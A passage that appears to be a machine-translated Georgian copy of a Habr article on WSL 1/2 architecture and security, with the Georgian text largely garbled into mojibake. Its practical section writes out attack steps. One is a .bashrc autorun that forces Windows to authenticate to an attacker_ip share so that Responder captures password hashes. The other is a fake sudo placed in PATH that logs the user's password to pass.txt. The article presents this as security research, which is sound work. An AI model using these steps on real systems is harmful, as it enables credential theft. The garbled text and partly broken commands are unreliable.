แแแแแ แฏแแแ, แฐแแแ ! OTUS แแฌแงแแแก แแฎแแแ แแฃแ แกแแก แแแแแแก แแฅแขแแแแแ แจแ
2016 แฌแแแก Microsoft-แแ แแแแชแแ แแฎแแแ WSL แขแแฅแแแแแแแ IT แกแแแแแแแแแแแก (Wแแแแฃแกแแแ Sแฅแแแกแแกแขแแแแกแแแแก Linux), แ แแแแช แแแแแแแแจแ แจแแกแแซแแแแแแ แแแฎแแแ แแแ แ แจแแฃแ แแแแแแแ แแแแแฃแ แแแขแแแแก แแแแ แแแแแแแ, แ แแแแแแแช แแแ แซแแแแแ แแแแฃแแแ แแแแกแแแแก แ แแแแ แช แฉแแแฃแแแแ แแ, แแกแ แแแฌแแแแแ OS แแแแฎแแแ แแแแแแก แจแแ แแก: Windows แแ Linux. แแ แขแแฅแแแแแแแแ แจแแกแแซแแแแแแ แแแฎแแแ Linux OS แแแกแขแ แฃแแแแขแแแแก แแแแแงแแแแแ Windows-แแก แแแ แแแแจแ Linux-แแก แแแจแแแแแก แกแแญแแ แแแแแก แแแ แแจแ, แแแแแแแแแ, Multi-boot-แแก แแแแแงแแแแแแ. Habr-แแ แจแแแแซแแแแ แแแแแแ แกแขแแขแแแแแก แแแแ แ แแแแแแแแ, แ แแแแแแแช แแฆแฌแแ แก WSL-แแก แแแแแงแแแแแแก แฃแแแ แแขแแกแแแแแก. แแฃแแชแ, แกแแแฌแฃแฎแแ แแ, แแ แกแขแแขแแแก แจแแฅแแแแก แแ แแก, แแ แ แแกแฃแ แกแแ แแแแ แแชแแฃแแ แกแแกแขแแแแแแก แแกแแแ แกแแแแแแแแก แฃแกแแคแ แแฎแแแแแก แจแแกแแฎแแ แแแแแแแแ แแ แแฅแแ แแแแแแแ. แแก แแแกแขแ แแฅแแแแ แแแแก แแแแแกแฌแแ แแแแก แแชแแแแแแ. แกแขแแขแแแจแ แแแกแแฃแแ แแแ WSL 1 แแ 2 แแ แฅแแขแแฅแขแฃแ แแก แแแฎแแกแแแแแแแแแแ แแ แแแแแแฎแแแแแ แแ แขแแฅแแแแแแแแแแก แแแแแงแแแแแแ แกแแกแขแแแแแแ แแแแแแกแฎแแแก แ แแแแแแแแ แแแแแแแแก. แกแขแแขแแ แแแงแแคแแแแ 2 แแแฌแแแแ. แแแ แแแแ แฃแแ แฃแแแแแงแแคแก แจแแขแแแแก แซแแ แแแแ แแแแ แแฃแ แแแแแแแแก Linux-แแแ แแ Windows-แแแแ. แแแแ แ แกแขแแขแแ แแแแชแแแก แกแแขแแกแขแ แแแ แแแแก แจแแฅแแแแก แแ แแแแแแกแฎแแแแแก แ แแแ แแแฃแชแแ แแแแก.
WSL 1: แแ แฅแแขแแฅแขแฃแ แฃแแ แแแฎแแกแแแแแแแแแ
WSL แฃแกแแคแ แแฎแแแแแก แกแแแแแฎแแแจแ แงแแแแแแ แแฃแกแขแ แฉแแซแแ แแแกแแแแก แแฃแชแแแแแแแแ แฅแแแกแแกแขแแแแก แแแแฎแแ แชแแแแแแแกแแแ แแแแแแจแแ แแแฃแแ แซแแ แแแแแ แแแฃแแแกแแแแก แแแแแแแ. WSL-แแก แแแแ แแแแแญแ แแแ แแแแฎแแแ แแแแแก แแ แ-แแ แแ แแแแแแ แ แแแแชแแแแ Linux แขแแ แแแแแแแก แแแจแแแแแแ แแฃแจแแแแแก แจแแกแแซแแแแแแแ Windows OS-แแก แแฅแแแ แฐแแกแขแแ. แแกแแแ, แจแแแแแแแแแแแฃแแ แแแแกแแแแแแแ แแแแแแแ แแจแแแแแฃแ แ แแงแ, แ แแ Linux แจแแกแ แฃแแแแแแ แคแแแแแแ (ELF) แจแแแซแแแแ แแแจแแแแฃแแแงแ แแแ แแแแแ Windows แกแแกแขแแแแแ. แแ แแแแแแแแก แแแกแแฆแฌแแแแ, Windows 10-แจแ แจแแแฅแแแ แกแแแชแแแแฃแ แ แฅแแแกแแกแขแแแ, แ แแแแแแช แกแแจแฃแแแแแแก แแแซแแแแ แแแฃแจแแแ Linux แแแแแแแชแแแแ แแแแแ แแขแฃแแ แกแแกแขแแแฃแ แ แแแ แแแแก แแแแ แแแแก แแแแแงแแแแแแ - แแแ แแแแ, แแแแแแแ แแชแแแแแแ Windows-แแ Linux syscalls-แแก แแแแแแแฅแขแแก แ แฃแแแแ. แแก แคแแแแแฃแ แแ แแแแฎแแ แชแแแแแ แแฎแแแ แแ แแแแแ แแแแก แแ แแฎแแแ แแ แแชแแกแแก แคแแ แแแขแแก แแแแแขแแแแ. แแแแฃแแแฃแ แแ แแ แฅแแขแแฅแขแฃแ แ แแกแ แแแแแแงแฃแ แแแแแ:
แคแแฅแขแแแ แแแแ, Linux แแแแ แแชแแฃแ แกแแกแขแแแแกแแแ แฃแ แแแแ แแฅแแแแแแ แแ แแแแแแแแฃแแ แแงแ แ แแแแแแแแ แแแ แแแแก แแแแฃแแแกแ แแ แกแแแชแแแแฃแ แ แขแแแแก แแ แแชแแกแแก - pico-แก แแแจแแแแแแ. แแแแแ แแแงแแแแแแ แแแแแ แแแแแแ แฎแแแแแ, แ แแ Linux-แแก แแแกแขแแแชแแแแ แแแจแแแแฃแแ แแ แแชแแกแ แฐแแกแขแแ แฃแแแ แแงแแก แแจแแแแแฃแ แ แแ แฃแแแ แแแแแแงแแแแก แแแแแ แ แแกแฃแ แกแแแ, แ แแแแ แช แฉแแแฃแแแแ แแแ Windows แแแแแแแชแแแแ. แแแแ แแ แ แแแแ แแแแแฆแฌแแแ แแแแก? แแ แแแฅแขแจแ
แแแแแแแแแกแฌแแแแ, แ แแ แจแแแแแแแแแแแฃแแแ แแแกแขแ แแฅแชแแแ แจแแกแแซแแแแแแ แแแฎแแแ แแแแ แแชแแฃแ แกแแกแขแแแแแ (แแแ แซแแ, Windows) แแ แคแแแฃแกแแ แแแ, แ แแแแแจแแช แแแกแแแแแแแแแ แกแฎแแ OS-แแก แแ แแชแแกแแก แแแฌแงแแแ แแ แจแแแแแแแแแแแ แแแแแแ แแแแแแแ.
แแแ แแแแ, แแแแแกแแแแ แ แแแแแแแชแแ แแแแ แแ แแชแแกแแก แจแแแแแ แจแแแซแแแแ แแแฃแจแแแก Windows-แแก แแแ แแแแก แแแ แแจแ:
- แกแแกแขแแแฃแ แ แแแ แแแแก แแแแกแแแแแแแแกแ แแ แแแ แแแแแก แแ แแแแแแแแ แฃแแแ แแแแแฌแงแแแก แกแแแชแแแแฃแ แ แแ แแแแแแแ แแแแก แแแแ ;
- แฌแแแแแแก แแแแขแ แแแ แฃแแแ แแแแฎแแ แชแแแแแแก แฃแกแแคแ แแฎแแแแแก แแแแแขแแ แแก แแแจแแแแแแ. แแแแแขแแ แ แแแแแแแแแฃแแแ แแแ แแแจแ แแ, แจแแกแแแแแแกแแ, Windows-แก แกแญแแ แแแแแแ แแแแแฎแแแแ แแฎแแแ แแ แแแแแ แแก แกแแฎแแ, แ แแแแแแช แจแแแซแแแแ แแแฅแแแแแแแแก แ แแแแ แช แแ แแแแแแแ แ แแกแแแ แแ แแชแแกแแแแกแแแแก. แแ แแขแแขแแแแก แแแแ แแ แแชแแกแ แกแฅแแแแขแฃแ แแ แแ แแก แฌแแ แแแแแแแแแ แฅแแแแแ:
แแแก แจแแแแแ, แ แแช Linux แคแแแแฃแ แ แกแแกแขแแแ แแงแแแแแก แคแแแแแแแก แแ แแแ แแฅแขแแ แแแแแก แกแแฎแแแแแก, แ แแแแแแแช แแแ แซแแแแแแ แแ แแกแแแแแก แแแฎแแแแแ, Windows-แก แแแแแแขแ 2 แขแแแแก แคแแแแฃแ แ แกแแกแขแแแ WSL-แแแ แแฃแจแแแแแกแแแแก - VolFS แแ DriveFS. VolFS แแ แแก Linux แคแแแแฃแ แ แกแแกแขแแแแก แแแแแแแแแขแแชแแ, DriveFS แแ แแก แคแแแแฃแ แ แกแแกแขแแแ, แ แแแแแแช แแฃแจแแแแก Windows-แแก แฌแแกแแแแก แแแฎแแแแแ, แแแแ แแ แแฅแแก แแฃแแฎแแ แกแแแกแแขแแฃแ แแแแก แแ แฉแแแแก แจแแกแแซแแแแแแแ.
WSL 2
WSL 1-แก แฐแฅแแแแ แแแแแ แ แแแ แจแแแฆแฃแแแแแ, แ แแช แแ แแซแแแแแ แแแก แแแแแงแแแแแแก แแแแชแแแแแแก แแแฅแกแแแแแฃแ แ แแแแแแแแแแก แแแแแกแแญแ แแแแ: แแแแแแแแแ, แแแก แแ แแแแฉแแแ 32-แแแขแแแแ Linux แแแแแแแชแแแแแก แแแจแแแแแก แจแแกแแซแแแแแแแ แแ แจแแฃแซแแแแแแ แแงแ แแแฌแงแแแแแแแแก แแ แแแแแ แแแแก แแแแแงแแแแแ. แแแแขแแ, 2020 แฌแแแก แแแแแแแแ WSL 2, แ แแแแช แจแแชแแแแ แฅแแแกแแกแขแแแแก แแแแแแก แแแแแแแ. WSL 2 แแ แแก แแแขแแแแแแแฃแแ แแแ แขแฃแแแฃแ แ แแแแฅแแแ, แ แแแแแแช แจแแแกแแแแแแแ WSL 1-แแก แ แแกแฃแ แกแแแแก แแแฎแแแ แแแแก แแแฎแแกแแแแแแแแแก. แแฎแแ, Windows OS แแแแฎแแแ แแแแแก แแแแ แแแแแแ แแแฃแแ แแ แแแแแแแแแก แแแฎแแแแแ, แจแแแแซแแแแ แแแ แฉแแแ Linux แฅแแแกแแกแขแแแแก แกแแญแแ แ แแแ แกแแ. แจแแกแแซแแ แแแฃแชแแแแแแแก แจแแกแแแชแแ แแแแแ, WSL 2 แแแแฎแแ แชแแแแแ Hyper-V-แแก แกแแคแฃแซแแแแแ Windows 10-แจแ. แแ แคแแ แแแ, Windows-แก แแฅแแก แจแแกแแซแแแแแแแ แแฌแแ แแแแก Linux แแแแ แแชแแฃแแ แกแแกแขแแแแก แแแ แแแ แแแแแแ แแแฃแแแ. แฃแแแ แแแแฎแกแแแแแก, แ แแ WSL-แแก 1 แแแ แกแแ แแแแแแ แแ แ แแแแ แช แแแขแ แคแฃแแฅแชแแ, แ แแแแแแช แฃแแแ แแฉแแแแแก Windows-แแก แแแแแแแแ แแแแก แแแแแ แแฃแแแแ แแ แกแคแแ แแจแ, แแแแขแแ Hyper-V-แแ แแแแแกแแแ แแแ แแแฃแแแแ แแงแ. แกแแแแแแ แแ แฅแแขแแฅแขแฃแ แ แแกแ แแแแแแงแฃแ แแแ:
แแ แแแ แกแแแจแ Windows-แแกแ แแ Linux-แแก แแแ แแแแแก แแฅแแ แกแแแฃแแแ แ แ แแกแฃแ แกแแแ แแ แแแแแ แแ แกแแแแแก แแฎแแแแ แคแแแแฃแ แกแแกแขแแแแจแ, แแแแ แแ แแก แแแแแ แแ แแ แแก แแแกแ แฃแแแแฃแแ. แคแแแแฃแ แกแแกแขแแแแแก แจแแ แแก แฃแ แแแแ แแฅแแแแแแ แฎแแ แชแแแแแแแ แแแแแแข-แกแแ แแแ แแก แจแแคแฃแแแแก แกแแจแฃแแแแแแ, แ แแแแแแช แแฃแจแแแแก 9P แแ แแขแแแแแแก แแแแแงแแแแแแ.
แแฆแแก Microsoft แฃแแ แฃแแแแแงแแคแก WSL 1-แกแ แแ WSL 2-แก แจแแ แแก แแแแแ แแแแก แจแแกแแซแแแแแแแแก. แแ แแแ แแแ แกแแ แฎแแแแแกแแฌแแแแแแ แแแแแกแแงแแแแแแแ.
WSL แฃแกแแคแ แแฎแแแแ
แแ แแ แแแกแแแแก, แแ แกแแแแแก แ แแแแแแแแ แแแแฃแจแแแแ แ, แ แแแแแแแช แแฆแฌแแ แก แ แแแแแแแแ แแแแแแแแก แแแแแขแแแฃแ แ OS แแแกแขแ แฃแแแแขแแแแก แแแแแงแแแแแแก แจแแกแแฎแแ แฅแแแกแแกแขแแแแแก แจแแ แแก แแแแฃแแแแแชแแแก แจแแขแแแแกแแแแก. แฉแแแ แแแแแแแงแแแแแ แแแ แกแแ แแแขแแแก แฌแแ แแก แแ แแก แแแแแแกแฎแแแแแก แจแแกแแแแแแกแแแแก แจแแกแแแแฌแแแแแแ. แแแแแแกแฎแแแแแกแ แแ แกแชแแแแ แแแแก แแแแแแ แกแแ:
1. แคแแแแฃแ แ แกแแกแขแแแแก แแแแแ แแแ: แฌแแแแแแก แฃแคแแแแแแ, แกแแแแแ แ แแแ แแฅแขแแ แแแแแก/แแแแแชแแแแ แแแชแแแแก แแแฅแแแแแแแแแก แฎแแแแแกแแฌแแแแแแแ.
แฉแแขแแ แแ แแแแแแ แแแจแแแแแก แฌแแกแแแแก แแแ แฆแแแแแก แแแกแแแแแแแ Linux FS->Windows FS, Windows FS->Linux FS. แแแแแแแ แแฉแแแแ แแแชแแแฃแแ แคแแแแแก แจแแชแแแแก แจแแกแแซแแแแแแแ แกแแแแแแ OS-แจแ. แแกแแแ แแชแแแแแแ แแงแ แฉแแแแชแแแแแ, แแฃแแแแแแขแแแแก แจแแฅแแแ แแ แคแแแแฃแ แ แกแแกแขแแแแแแก แแแฌแแแแก แฌแแจแแ.
แกแชแแแแ แ:
- แ. แจแแขแแแ Windows แแแแ แแชแแฃแแ แกแแกแขแแแแแแ - แคแแแแแแแก แแแแแคแแแแชแแ Linux OS-แแก /etc แแแ แแฅแขแแ แแแแแ.
- B. แจแแขแแแ Linux แแแแ แแชแแฃแแ แกแแกแขแแแแแแ - แคแแแแแแแก แจแแชแแแ แแแ แแฅแขแแ แแแจแ:
C:Windows
,C:Program Files
,C:Users<User>
2. แฅแกแแแแก แกแขแแแแก แแแแแ แแแ.
แแแแแแ แฉแแขแแ แแ Windows-แแ Linux แแแแ แแชแแฃแแ แกแแกแขแแแแก แแแแแแกแฎแแแแแก แแแแแแแแแแแก แแแแแงแแแแแแ. แแแแแงแแแแแฃแแ แแฅแแ แฅแกแแแแก แกแขแแแแก แแแฎแแกแแแแแแแแแ, แแแ แซแแ, แแแแแแขแแคแแแแชแแแก แแแฅแแแแแแแแ แกแฎแแแแแกแฎแแ แ แแกแฃแ แกแแแแ.
แกแชแแแแ แ:
- แฌแแแแแแก แแแฎแกแแ แแแ แขแแ, แ แแแแแแช แแแแแแแแฃแแแ Windows แกแแกแขแแแแจแ
- แแแ แขแแก แแแฎแกแแ แจแแกแแแแแแกแ แฃแคแแแแแแแก แแแ แแจแ
- แฃแแฃ แแแ แกแแก แแแจแแแแ แแแคแแก แคแแแแแก แแแแแงแแแแแแ Windows แแแแ แแชแแฃแ แกแแกแขแแแแแ.
3. แแแแแ แแ แแแ แแแฃแแ แฃแแ แฃแแแแแงแแคแแก แแ แแชแแกแแแแก แแแจแแแแแก แแแแแแแ WSL แฅแแแกแแกแขแแแแก แแแแแงแแแแแแ.
แแแแแแ แแแคแฃแซแแแแฃแแ แแงแ แแแ แขแแ แคแแฅแขแแ - แฃแกแแคแ แแฎแแแแแก แฅแแแกแแกแขแแแแแก แแ แจแแฃแซแแแแ แกแฎแแ แแแ แแแจแ แแแแแแแแก แฉแแญแ แ, แ แแแแแแช แแฃแจแแแแก แแแแ แแชแแฃแแ แกแแกแขแแแแก แแแแแขแแแฃแ แ แแ แแแแแแแ แแก แแแแแงแแแแแแ WSL 1-แแก แจแแแแฎแแแแแจแ. WSL 2-แแก แจแแแแฎแแแแแจแ, แแ แแ แกแแแแแก แแแแแแแแแแก แแแฎแแแก แกแแจแฃแแแแแ แชแแแแแฃแ แแแ แแแจแ แแกแฃแแฃแฅแ แแแ แขแฃแแแฃแ แ แแแแฅแแแแก แคแแ แแแแแจแ.
แกแชแแแแ แ:
1) แแแฃแจแแแ แแแแแแแชแแ แกแแกแขแแแแจแ แแแกแขแแแชแแฃแ แ แฌแแแแแแกแแแแก แแ แแแฎแแ แจแแกแฃแแ แแแแแแแแแ.
WSL 1 แแฅแกแแแ แแแแแขแแแ: แฐแแจแแก แฉแแ แแแ (Windows)
แแแแแก แแแแแแแ แแ แแฅแขแแแฃแ แแแฌแแแแ. แแแ แแแ แ แแแจแ, แแฅแแแ แฃแแแ แแแแงแแแแ แขแแกแขแแก แแแ แแแ. แงแแแแ แแฅแกแแแ แแแแแขแ แฉแแขแแ แแแแ แกแแแแแ แแแงแแแแแฃแแ Windows 10 2004. Ubuntu 18.04 แแแแแกแแฎแฃแแแแ แแ แฉแแฃแ แแฅแแ แแแแ แแชแแฃแแ แกแแกแขแแแแก แกแฃแ แแแแ WSL-แแกแแแแก. แกแฃแ แแแ แแ แฉแแฃแแแ แจแแแแฎแแแแแ แแ แแแแแกแแแแ แ แกแฎแแ แแแฃแจแแแแแก แแแแแ. แแ แซแแแแแแแ แกแขแแแแแก แแแกแแงแแแแแแแ:
แฏแแ แฃแแแ แแแฃแจแแแ powershell.exe
แ แแแแ แช แแแแแแแกแขแ แแขแแ แ.
WSL 1-แแกแแแแก แแฅแแแ แฃแแแ แจแแแกแ แฃแแแ แแ แซแแแแแแแ:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะะบะปััะธัั ััะฝะบัะธั WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ะะฐะณััะทะธัั ะพะฑัะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft
Ubuntu.appx install โroot #ะฃััะฐะฝะพะฒะธะผ ะพะฑัะฐะท
ะะพะทะผะพะถะฝะพ, ะฟัะธะดะตััั ะฟัะพะบะปะธะบะฐัั ะฟัะพัะตัั ะฝะฐัััะพะนะบะธ ะธ ัะพะทะดะฐัั ะฝะพะฒะพะณะพ ะฟะพะปัะทะพะฒะฐัะตะปั, ะบะพัะพััะน ะฑัะดะตั ะธะผะตัั ะผะตะฝััะต ะฟัะฐะฒ, ัะตะผ root. ะะปั ะฝะฐัะธั
ัะตััะพะฒ ััะพ ะฑัะดะตั ะพะฑััะฝัะน ะฟะพะปัะทะพะฒะฐัะตะปั sam.
Restart-Computer #ะะตัะตะทะฐะณััะทะธะผ
แกแขแแแแแก แแแแแขแแแ แแแแก แจแแแแแ แจแแแแซแแแแ แแแ แแแแ bash แแ แซแแแแแ. แแฃ แงแแแแแคแแ แ แกแฌแแ แแ แแฃแจแแแแแ, Windows-แแก แแแแกแแแจแ แแกแแแแก แแแแแแแแแแก แแแฎแแแ:
แฉแแแ แแแแแแแงแแแแแ Kali Linux แแแกแขแ แแแฃแชแแแก, แ แแแแ แช แแแแแแแกแฎแแแแแก แแแแฅแแแแก; แงแแแแ แแแแฅแแแ แฃแแแ แแงแแก แแแแแ แแแแแแฃแ แฅแกแแแจแ.
แแแแฃแจแแแ, แ แแ แแแแฅแแก แฃแแ แแแแแแแแ แแแฃแแ แฌแแแแแ WSL-แแ Windows-แแก แแแแ แแขแแ. แแแแแ แแชแแแแ Linux แแแแ แแชแแฃแแ แกแแกแขแแแแก แจแแขแแแ Linux-แแก แแ แซแแแแแแก แแแแแซแแฎแแแแ. แแแแแแกแฎแแแก แแแแกแแฎแแ แชแแแแแแแแ, แฉแแแ แแแแแแแงแแแแแ แแแ แขแแ autorun แขแแฅแแแแแก - แฉแแแ แแแแแแแขแแแ แฉแแแแก แกแแ แแแขแก แแแแฃแฅแกแแก แแแ แแแแจแ แจแแกแแกแ แฃแแแแแแ. แแแแกแแแแแก แแฅแแแ แฃแแแ แจแแชแแแแแ แคแแแแ .bashrc
.
WSL แแแแ แแขแแ แฉแแแ แแแกแ แฃแแแแ:
1. bash
2. ะะตัะตั
ะพะดะธะผ ะฒ ะดะพะผะฐัะฝัั ะดะธัะตะบัะพัะธั ะฟะพะปัะทะพะฒะฐัะตะปั: cd /home/sam/
2. echo ยซ/home/sam/.attack.shยป >> .bashrc
3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linux แแแแ แแขแแ แฉแแแ แแแฌแแ แแแแแ:
1. Responder -I eth0 -rdvw
Windows-แแก แแแแ แแขแแ, แแแแแ แแแแฃแจแแแ bash.
แฉแแแ แแแแแแแแแ แจแแแแแก Kali Linux แแแแ แแขแแ:
แแแ แแแแ, แฉแแแ แแแแแฆแแ Windows แแแแฎแแแ แแแแแก แฐแแจแแแ WSL แฅแแแกแแกแขแแแแก แแแจแแแแแแ Linux แกแแกแขแแแแแ แแ แซแแแแแแก แจแแกแ แฃแแแแแ.
WSL 1 แแฅแกแแแ แแแแแขแแแ: แแแแฎแแแ แแแแแก แแแ แแแแก แแแฆแแแ (Linux OS)
แแแแแ แแแแแแแแแ แแแแแ แแ แแ แแฅแกแแแ แแแแแขแ. แแ แจแแแแฌแแแแแก แแ แแก แฉแแแ แแแแแแแขแแแ แคแแแแก .bashrc
แ แแแแแแแแ แแ แซแแแแแ Linux แแแแ แแชแแฃแแ แกแแกแขแแแแก แแแแฎแแแ แแแแแก แแแ แแแแก แแแกแแฆแแแแ.
แแแแแ แแแแฃแจแแแ bash แแ แจแแแแงแแแแแ แแ แซแแแแแแแ:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
แจแแขแแแแก แฌแแ แแแขแแแแ แแแกแแกแ แฃแแแแแแ, แแแแฎแแแ แแแแแแ แกแแ แฃแแแ แแแ แแแแก sudo Linux แขแแ แแแแแแจแ. แแแแก แจแแแแแ, Linux OS แแแแฎแแแ แแแแแก แแแ แแแ แแฅแแแแ แคแแแแจแ pass.txt
:
แแแแแแกแฎแแแแแก แแแแฎแแ แชแแแแแแ แแฎแแแแ แแแแ แแฃแแ แแแคแแ แแแชแแแกแแแแก แแงแ แแแชแแแฃแแ.
แกแขแแขแแแก แจแแแแแแ แแแฌแแแ แแฆแฌแแ แก 9P แแ แแขแแแแแแก แแแแฎแแ แชแแแแแแแก, แแแแแฎแแแแแก แแ แแ แแขแแแแแแก แกแแแแแ แแก แจแแฅแแแแก แแ แแกแแแ แแแแแฎแแ แชแแแแแแก แจแแขแแแแก แแแกแ แแแแแงแแแแแแ.
แแแแแงแแแแแฃแแ แแแขแแ แแขแฃแ แแก แฉแแแแแแแแแแ
WSL 2 แแแแแแ แชแฃแแจแ Windows แฅแแแกแแกแขแแแ Linux แแแแฃแแแแขแแชแแแกแแแแก
แฒฌแแแแแแฎแ แแแขแ
แฌแงแแ แ: www.habr.com